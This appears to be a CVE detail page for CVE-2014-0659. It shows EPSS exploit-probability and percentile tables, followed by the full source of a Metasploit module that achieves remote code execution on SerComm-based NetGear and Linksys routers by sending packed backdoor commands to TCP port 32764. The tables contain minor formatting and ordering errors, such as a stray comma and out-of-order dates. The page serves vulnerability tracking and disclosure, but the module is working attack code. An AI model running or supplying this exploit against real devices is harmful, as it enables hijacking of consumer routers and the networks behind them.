CVE-2014-0659 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	85.32%	–	–
2022-06-26	–	–	84.27%	–	–
2023-03-12	–	–	–	15.81%	–
2023-04-02	–	–	–	16.64%	–
2023-07-09	–	–	–	16.73%	–
2023-10-15	–	–	–	20.99%	–
2024-01-14	–	–	–	16.86%	–
2024-03-03	–	–	–	21.65%	–
2024-06-02	–	–	–	21.65%	–
2024-06-09	–	–	–	34.07%	–
2024-08-04	–	–	–	33.19%	–
2024-09-29	–	–	–	37.23%	–
2024-12-22	–	–	–	39.26%	–
2025-02-09	–	–	–	54.68%	–
2025-01-19	–	–	–	39.26%	–
2025-02-16	–	–	–	54.68%	–
2025-03-18	–	–	–	–	55.2%
2025-03-30	–	–	–	–	61.51%
2025-04-10	–	–	–	–	64.48%
2025-04-10	–	–	–	–	64.48,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-06-26	1%
2023-03-12	95%
2023-04-02	95%
2023-07-09	95%
2023-10-15	96%
2024-01-14	96%
2024-03-03	96%
2024-06-02	96%
2024-06-09	97%
2024-08-04	97%
2024-09-29	97%
2024-12-22	97%
2025-02-09	98%
2025-01-19	97%
2025-02-16	98%
2025-03-18	98%
2025-03-30	98%
2025-04-10	98%
2025-04-10	98%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerEcho def initialize(info={}) super(update_info(info, 'Name' => "SerComm Device Remote Code Execution", 'Description' => %q{ This module will cause remote code execution on several SerComm devices. These devices typically include routers from NetGear and Linksys. Tested against NetGear DG834. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module ], 'Payload' => { 'Space' => 10000, # Could be more, but this should be good enough 'DisableNops' => true }, 'Platform' => 'linux', 'Privileged' => false, 'Targets' => [ ['Linux MIPS Big Endian', { 'Arch' => ARCH_MIPSBE } ], ['Linux MIPS Little Endian', { 'Arch' => ARCH_MIPSLE } ], ], 'DefaultTarget' => 0, 'References' => [ [ 'OSVDB', '101653' ], [ 'URL', 'https://github.com/elvanderb/TCP-32764' ] ], 'DisclosureDate' => "Dec 31 2013" )) register_options( [ Opt::RPORT(32764) ], self.class) end def check fprint = endian_fingerprint case fprint when 'BE' print_status("Detected Big Endian") return Msf::Exploit::CheckCode::Vulnerable when 'LE' print_status("Detected Little Endian") return Msf::Exploit::CheckCode::Vulnerable end return Msf::Exploit::CheckCode::Unknown end def exploit execute_cmdstager(:noargs => true) end def endian_fingerprint begin connect sock.put(rand_text(5)) res = sock.get_once disconnect if res && res.start_with?("MMcS") return 'BE' elsif res && res.start_with?("ScMM") return 'LE' end rescue Rex::ConnectionError => e print_error("Connection failed: #{e.class}: #{e}") end return nil end def execute_command(cmd, opts) vprint_debug(cmd) # Get the length of the command, for the backdoor's command injection cmd_length = cmd.length # 0x53634d4d => Backdoor code # 0x07 => Exec command # cmd_length => Length of command to execute, sent after communication struct data = [0x53634d4d, 0x07, cmd_length].pack("VVV") connect # Send command structure followed by command text sock.put(data+cmd) disconnect Rex.sleep(1) end end